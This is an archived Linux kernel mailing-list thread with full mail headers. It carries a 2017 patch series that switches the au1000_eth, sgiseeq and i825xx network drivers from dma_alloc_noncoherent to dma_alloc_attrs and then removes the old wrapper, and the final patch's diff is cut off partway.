Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.kernel
Subject: remove dma_alloc_noncoherent V2
Date: Sat, 26 Aug 2017 09:21:21 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20170826072125.9790-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503732097 13516 195.159.176.226 (26 Aug 2017 07:21:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 07:21:37 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
        Ralf Baechle <ralf@linux-mips.org>, linux-mips@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 26 09:21:33 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dlVPP-0003DN-Ir
	for glpp-linux-parisc@m.gmane.org; Sat, 26 Aug 2017 09:21:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751464AbdHZHVi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 26 Aug 2017 03:21:38 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:47307 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750736AbdHZHVh (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 26 Aug 2017 03:21:37 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=Message-Id:Date:Subject:Cc:To:From:
        Sender:Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:
        Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
        Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=A8tVKlfdAzDLaw+TaDW8Tjtt6JFS3NCN10bt5Y37YDU=; b=Lu3EQ3VBR8qwcERMyp411pYsU
        4bmKGshuwmRyP+suLsvVAajFodpLpIkl7xDIFGOFAwxPj6QOj/HId8MEFFZRNIdmUXzThgPBGgm24
        Ngxq08FLLRpRpKLpwRLdX/XbVRbCFQtE0PjRZRYioaZz1v630v4CBizELv5ZINMeHSOzrS+T/3Bcw
        Ykn42jZFTiUXpjzlIn09x/FBvK7D1LmyI82vhpboSUFx8L4r7Cs8FeRHZlLFOnQXkQT1DAr0p+2IT
        bZ36WIKnHFC/dnx4oxPHKXUhWeNgjMZRqG/RrJNXjwdLhiEEDftLR2/dC6XK71Rntcbieqzwwb9+R
    
Original-Received: from 178.114.158.16.wireless.dyn.drei.com ([178.114.158.16] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.87 #1 (Red Hat Linux))
        id 1dlVPQ-00037s-4K; Sat, 26 Aug 2017 07:21:32 +0000
X-Mailer: git-send-email 2.11.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27759 gmane.linux.network:487914 gmane.linux.ports.mips:140 gmane.linux.kernel:2558047
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27759>

For many years we've had the dma_alloc_attrs API that is more flexible
than dma_alloc_noncoherent.  This series moves the remaining users over
to the attrs API.

After half of the series went in for the last merge window I'd really
like to merge the remainer.  Any chance to get some ACKs/reviews for
the net drivers?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.kernel
Subject: [PATCH 2/4] au1000_eth: switch to dma_alloc_attrs
Date: Sat, 26 Aug 2017 09:21:23 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20170826072125.9790-3-hch@lst.de>
References: <20170826072125.9790-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503732108 15755 195.159.176.226 (26 Aug 2017 07:21:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 07:21:48 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
        Ralf Baechle <ralf@linux-mips.org>, linux-mips@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 26 09:21:43 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dlVPZ-0003dU-CO
	for glpp-linux-parisc@m.gmane.org; Sat, 26 Aug 2017 09:21:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754228AbdHZHVo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 26 Aug 2017 03:21:44 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:53414 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754220AbdHZHVl (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 26 Aug 2017 03:21:41 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=N5H1BX6XnbTj3YjuZo3/ozKfJDKRkM4eJ35aPeCiSGQ=; b=pHBR9uPdgKFVwewi3o+SpWXm+
        2mGtQbDle435jztYmD1OSSrvldJtJz3MQJ8DXCBR1dk8DXm9zW2Bs7oaPqXYtrOpv8xQCzmi81IXv
        4ahwe/cGCeZgzFzdsCiXz2z8S/eOOCnaWQ3YePaqRM2h4kt1TXWc5NqoSAbnuMDxpsUlKHpTUIcpG
        74xMddfwQJgXoaKaWrFxf7bhqxCL5p2WeybylqbzD8qUp9mncPb0OJfDUdKOJ67g0wRuebrJT8a0i
        C0s3LlB4L+ggYozIPsa9KYIs2UT2Ot6n9p3Dvm1rtKHwOYm6CMGE7UCX18MtrXyAZ5u6nxPsnMDF1
    
Original-Received: from 178.114.158.16.wireless.dyn.drei.com ([178.114.158.16] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.87 #1 (Red Hat Linux))
        id 1dlVPY-0003BB-Na; Sat, 26 Aug 2017 07:21:41 +0000
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20170826072125.9790-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27760 gmane.linux.network:487915 gmane.linux.ports.mips:141 gmane.linux.kernel:2558048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27760>

Use dma_alloc_attrs directly instead of the dma_alloc_noncoherent wrapper.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/net/ethernet/amd/au1000_eth.c | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/drivers/net/ethernet/amd/au1000_eth.c b/drivers/net/ethernet/amd/au1000_eth.c
index a3c90fe5de00..73ca8879ada7 100644
--- a/drivers/net/ethernet/amd/au1000_eth.c
+++ b/drivers/net/ethernet/amd/au1000_eth.c
@@ -1180,9 +1180,10 @@ static int au1000_probe(struct platform_device *pdev)
 	/* Allocate the data buffers
 	 * Snooping works fine with eth on all au1xxx
 	 */
-	aup->vaddr = (u32)dma_alloc_noncoherent(NULL, MAX_BUF_SIZE *
-						(NUM_TX_BUFFS + NUM_RX_BUFFS),
-						&aup->dma_addr,	0);
+	aup->vaddr = (u32)dma_alloc_attrs(NULL, MAX_BUF_SIZE *
+					  (NUM_TX_BUFFS + NUM_RX_BUFFS),
+					  &aup->dma_addr, 0,
+					  DMA_ATTR_NON_CONSISTENT);
 	if (!aup->vaddr) {
 		dev_err(&pdev->dev, "failed to allocate data buffers\n");
 		err = -ENOMEM;
@@ -1361,8 +1362,9 @@ static int au1000_probe(struct platform_device *pdev)
 err_remap2:
 	iounmap(aup->mac);
 err_remap1:
-	dma_free_noncoherent(NULL, MAX_BUF_SIZE * (NUM_TX_BUFFS + NUM_RX_BUFFS),
-			     (void *)aup->vaddr, aup->dma_addr);
+	dma_free_attrs(NULL, MAX_BUF_SIZE * (NUM_TX_BUFFS + NUM_RX_BUFFS),
+			(void *)aup->vaddr, aup->dma_addr,
+			DMA_ATTR_NON_CONSISTENT);
 err_vaddr:
 	free_netdev(dev);
 err_alloc:
@@ -1394,9 +1396,9 @@ static int au1000_remove(struct platform_device *pdev)
 		if (aup->tx_db_inuse[i])
 			au1000_ReleaseDB(aup, aup->tx_db_inuse[i]);
 
-	dma_free_noncoherent(NULL, MAX_BUF_SIZE *
-			(NUM_TX_BUFFS + NUM_RX_BUFFS),
-			(void *)aup->vaddr, aup->dma_addr);
+	dma_free_attrs(NULL, MAX_BUF_SIZE * (NUM_TX_BUFFS + NUM_RX_BUFFS),
+			(void *)aup->vaddr, aup->dma_addr,
+			DMA_ATTR_NON_CONSISTENT);
 
 	iounmap(aup->macdma);
 	iounmap(aup->mac);
-- 
2.11.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.ports.parisc
Subject: [PATCH 1/4] sgiseeq: switch to dma_alloc_attrs
Date: Sat, 26 Aug 2017 09:21:22 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20170826072125.9790-2-hch@lst.de>
References: <20170826072125.9790-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503732119 17679 195.159.176.226 (26 Aug 2017 07:21:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 07:21:59 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
        Ralf Baechle <ralf@linux-mips.org>, linux-mips@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: netdev@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 26 09:21:55 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dlVPY-0003dU-0A
	for glk-linux-kernel-3@m.gmane.org; Sat, 26 Aug 2017 09:21:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754212AbdHZHVk (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 26 Aug 2017 03:21:40 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:33332 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750849AbdHZHVh (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 26 Aug 2017 03:21:37 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=WuzhwYAEV+8+izyOEpxnIwVoH5z5tvTOort/hVXjUc4=; b=THDgGJzsAf/N/+4THgeMGFlMF
        YrAymF77n0R+RlfHifGrEDrmjpqZXmoK6GJq9G8+37xUGzbbSMl1+EWTifZIryWPPVh/bHsZTgnjP
        6JM1Cs0HDyorTGf3YiOOg9QdmrKOxZZ8n//b+7iLOR1ZfBmnfto/6rY2nLFewZZFWtd7BaVMBZvA0
        os00O0xYdwxhWpNI5OvlYVC/hHq2DQAhMuI3m5hJb4RrxFJF9YumCfY00hESLyW82uMyGKChxZEZK
        acjVUTG7gDDxF8p/5XeGsbb8Yl/dRL+QTY96qaOUGOon1jiMsb8PizZMVMmG3VHHNuVzvlnYsBgQj
    
Original-Received: from 178.114.158.16.wireless.dyn.drei.com ([178.114.158.16] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.87 #1 (Red Hat Linux))
        id 1dlVPU-00039Y-Dw; Sat, 26 Aug 2017 07:21:37 +0000
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20170826072125.9790-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2558049 gmane.linux.network:487916 gmane.linux.ports.mips:142 gmane.linux.ports.parisc:27761
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2558049>

Use dma_alloc_attrs directly instead of the dma_alloc_noncoherent wrapper.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/net/ethernet/seeq/sgiseeq.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/net/ethernet/seeq/sgiseeq.c b/drivers/net/ethernet/seeq/sgiseeq.c
index 70347720fdf9..573691bc3b71 100644
--- a/drivers/net/ethernet/seeq/sgiseeq.c
+++ b/drivers/net/ethernet/seeq/sgiseeq.c
@@ -737,8 +737,8 @@ static int sgiseeq_probe(struct platform_device *pdev)
 	sp = netdev_priv(dev);
 
 	/* Make private data page aligned */
-	sr = dma_alloc_noncoherent(&pdev->dev, sizeof(*sp->srings),
-				&sp->srings_dma, GFP_KERNEL);
+	sr = dma_alloc_attrs(&pdev->dev, sizeof(*sp->srings), &sp->srings_dma,
+			     GFP_KERNEL, DMA_ATTR_NON_CONSISTENT);
 	if (!sr) {
 		printk(KERN_ERR "Sgiseeq: Page alloc failed, aborting.\n");
 		err = -ENOMEM;
@@ -813,8 +813,8 @@ static int sgiseeq_remove(struct platform_device *pdev)
 	struct sgiseeq_private *sp = netdev_priv(dev);
 
 	unregister_netdev(dev);
-	dma_free_noncoherent(&pdev->dev, sizeof(*sp->srings), sp->srings,
-			     sp->srings_dma);
+	dma_free_attrs(&pdev->dev, sizeof(*sp->srings), sp->srings,
+		       sp->srings_dma, DMA_ATTR_NON_CONSISTENT);
 	free_netdev(dev);
 
 	return 0;
-- 
2.11.0



From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.ports.parisc
Subject: [PATCH 3/4] i825xx: switch to switch to dma_alloc_attrs
Date: Sat, 26 Aug 2017 09:21:24 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <20170826072125.9790-4-hch@lst.de>
References: <20170826072125.9790-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503732120 17804 195.159.176.226 (26 Aug 2017 07:22:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 07:22:00 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
        Ralf Baechle <ralf@linux-mips.org>, linux-mips@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: netdev@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 26 09:21:55 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dlVPe-0003dU-Bn
	for glk-linux-kernel-3@m.gmane.org; Sat, 26 Aug 2017 09:21:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751986AbdHZHVv (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 26 Aug 2017 03:21:51 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:36339 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754410AbdHZHVq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 26 Aug 2017 03:21:46 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=cKbcyNUFLAeWbFgLIAUDSGikvBU3TB6xQT3cH6sBH0Y=; b=UHMF90xMFU0vUM1kSmFLFfJgv
        xa48T86JiKfVTgLwtRSrIHOh7EjrPQpTrF0qt4U0FNu6MjcZsFMs2u8NJxOjix4s3fIxrlFK09xX2
        NLhr4MAJ6evN13xkw4yzzSHRWEaftxA4iPGQZjy2r7+KDpGDqC2RSG1NHo7Exj82zrAP1nvpIA1qv
        t577IuzTga7XenxPONv+OUMIyFsKzD8l0iF7caZfowmWvt4WVMMnBkPv3qvMaei/JPO5N+SNRPMWI
        5st+ADkW7CUjnskp8Zrhkvr5Opg0Xp4TW5Im8mYQthX6Ex2tcGUP/1/N7PDG9JiHbRVdxQPYOmQjU
    
Original-Received: from 178.114.158.16.wireless.dyn.drei.com ([178.114.158.16] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.87 #1 (Red Hat Linux))
        id 1dlVPd-0003Cz-4m; Sat, 26 Aug 2017 07:21:45 +0000
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20170826072125.9790-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2558050 gmane.linux.network:487917 gmane.linux.ports.mips:143 gmane.linux.ports.parisc:27762
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2558050>

This way we can always pass DMA_ATTR_NON_CONSISTENT, the SNI mips version
will simply ignore the flag.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/net/ethernet/i825xx/lasi_82596.c | 6 ++----
 drivers/net/ethernet/i825xx/lib82596.c   | 9 +++++----
 drivers/net/ethernet/i825xx/sni_82596.c  | 6 ++----
 3 files changed, 9 insertions(+), 12 deletions(-)

diff --git a/drivers/net/ethernet/i825xx/lasi_82596.c b/drivers/net/ethernet/i825xx/lasi_82596.c
index d787fdd5db7b..d5b5021aa759 100644
--- a/drivers/net/ethernet/i825xx/lasi_82596.c
+++ b/drivers/net/ethernet/i825xx/lasi_82596.c
@@ -96,8 +96,6 @@
 
 #define OPT_SWAP_PORT	0x0001	/* Need to wordswp on the MPU port */
 
-#define DMA_ALLOC                        dma_alloc_noncoherent
-#define DMA_FREE                         dma_free_noncoherent
 #define DMA_WBACK(ndev, addr, len) \
 	do { dma_cache_sync((ndev)->dev.parent, (void *)addr, len, DMA_TO_DEVICE); } while (0)
 
@@ -200,8 +198,8 @@ static int lan_remove_chip(struct parisc_device *pdev)
 	struct i596_private *lp = netdev_priv(dev);
 
 	unregister_netdev (dev);
-	DMA_FREE(&pdev->dev, sizeof(struct i596_private),
-		 (void *)lp->dma, lp->dma_addr);
+	dma_free_attrs(&pdev->dev, sizeof(struct i596_private), lp->dma,
+		       lp->dma_addr, DMA_ATTR_NON_CONSISTENT);
 	free_netdev (dev);
 	return 0;
 }
diff --git a/drivers/net/ethernet/i825xx/lib82596.c b/drivers/net/ethernet/i825xx/lib82596.c
index 8449c58f01fd..f00a1dc2128c 100644
--- a/drivers/net/ethernet/i825xx/lib82596.c
+++ b/drivers/net/ethernet/i825xx/lib82596.c
@@ -1063,8 +1063,9 @@ static int i82596_probe(struct net_device *dev)
 	if (!dev->base_addr || !dev->irq)
 		return -ENODEV;
 
-	dma = (struct i596_dma *) DMA_ALLOC(dev->dev.parent,
-		sizeof(struct i596_dma), &lp->dma_addr, GFP_KERNEL);
+	dma = dma_alloc_attrs(dev->dev.parent, sizeof(struct i596_dma),
+			      &lp->dma_addr, GFP_KERNEL,
+			      DMA_ATTR_NON_CONSISTENT);
 	if (!dma) {
 		printk(KERN_ERR "%s: Couldn't get shared memory\n", __FILE__);
 		return -ENOMEM;
@@ -1085,8 +1086,8 @@ static int i82596_probe(struct net_device *dev)
 
 	i = register_netdev(dev);
 	if (i) {
-		DMA_FREE(dev->dev.parent, sizeof(struct i596_dma),
-				    (void *)dma, lp->dma_addr);
+		dma_free_attrs(dev->dev.parent, sizeof(struct i596_dma),
+			       dma, lp->dma_addr, DMA_ATTR_NON_CONSISTENT);
 		return i;
 	}
 
diff --git a/drivers/net/ethernet/i825xx/sni_82596.c b/drivers/net/ethernet/i825xx/sni_82596.c
index 2af7f77345fb..b2c04a789744 100644
--- a/drivers/net/ethernet/i825xx/sni_82596.c
+++ b/drivers/net/ethernet/i825xx/sni_82596.c
@@ -23,8 +23,6 @@
 
 static const char sni_82596_string[] = "snirm_82596";
 
-#define DMA_ALLOC                      dma_alloc_coherent
-#define DMA_FREE                       dma_free_coherent
 #define DMA_WBACK(priv, addr, len)     do { } while (0)
 #define DMA_INV(priv, addr, len)       do { } while (0)
 #define DMA_WBACK_INV(priv, addr, len) do { } while (0)
@@ -152,8 +150,8 @@ static int sni_82596_driver_remove(struct platform_device *pdev)
 	struct i596_private *lp = netdev_priv(dev);
 
 	unregister_netdev(dev);
-	DMA_FREE(dev->dev.parent, sizeof(struct i596_private),
-		 lp->dma, lp->dma_addr);
+	dma_free_attrs(dev->dev.parent, sizeof(struct i596_private), lp->dma,
+		       lp->dma_addr, DMA_ATTR_NON_CONSISTENT);
 	iounmap(lp->ca);
 	iounmap(lp->mpu_port);
 	free_netdev (dev);
-- 
2.11.0



From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.kernel
Subject: [PATCH 4/4] dma-mapping: remove dma_alloc_noncoherent and dma_free_noncoherent
Date: Sat, 26 Aug 2017 09:21:25 +0200
Lines: 130
Approved: news@gmane.org
Message-ID: <20170826072125.9790-5-hch@lst.de>
References: <20170826072125.9790-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503732126 18920 195.159.176.226 (26 Aug 2017 07:22:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Aug 2017 07:22:06 +0000 (UTC)
Cc: "David S. Miller" <davem@davemloft.net>,
        Ralf Baechle <ralf@linux-mips.org>, linux-mips@vger.kernel.org,
        linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: netdev@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 26 09:22:01 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dlVPs-0004Li-I7
	for glpp-linux-parisc@m.gmane.org; Sat, 26 Aug 2017 09:22:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754534AbdHZHV5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 26 Aug 2017 03:21:57 -0400
Original-Received: from bombadil.infradead.org ([65.50.211.133]:59420 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754506AbdHZHVu (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 26 Aug 2017 03:21:50 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=CLjf7ZGVOPn2PMCdY89gVSvSujJ4y7EKgtU4hOJAZQI=; b=BbG9ejR+apCPodmNBptzRxhEE
        0PpuqhQOHHjAv+LIiC+wn7v/4ffdhc2deTwvDgRNmbLm8+q+MDnZZbWU+EZhKbopd5Cwlv2Z2ChQn
        GWXhp68z/LCQF1UtnZutL404g+Uh5whNcKtoKOWy2nBG4i3JRyNd4KFeDWtJpVs1reZ8Xs8XnbVdN
        ss0Dyya78hgHT+QfhITcaSNCZJfV2w0tPobMKHTC3KE4zXjhzZWWGuhGUJ46uwTDXJkXavyRiQAfy
        iE3V6T/qV3T1zLol/9C1Zq74L7JI8gd/fcPBUNGm6dV4tn59+Jngi3y6W2isdSzFvimFSBXHyK0GY
    
Original-Received: from 178.114.158.16.wireless.dyn.drei.com ([178.114.158.16] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.87 #1 (Red Hat Linux))
        id 1dlVPh-0003FL-IT; Sat, 26 Aug 2017 07:21:50 +0000
X-Mailer: git-send-email 2.11.0
In-Reply-To: <20170826072125.9790-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27763 gmane.linux.network:487918 gmane.linux.ports.mips:144 gmane.linux.kernel:2558051
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27763>

No users left, everyone switched to the _attrs versions.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 Documentation/DMA-API.txt            | 30 ++++++++++++++++--------------
 arch/metag/include/asm/dma-mapping.h |  2 +-
 arch/nios2/include/asm/dma-mapping.h |  2 +-
 arch/tile/include/asm/dma-mapping.h  |  4 ++--
 include/linux/dma-mapping.h          | 14 --------------
 5 files changed, 20 insertions(+), 32 deletions(-)

diff --git a/Documentation/DMA-API.txt b/Documentation/DMA-API.txt
index 45b29326d719..ef3a04fcad65 100644
--- a/Documentation/DMA-API.txt
+++ b/Documentation/DMA-API.txt
@@ -515,14 +515,15 @@ API at all.
 ::
 
 	void *
-	dma_alloc_noncoherent(struct device *dev, size_t size,
-			      dma_addr_t *dma_handle, gfp_t flag)
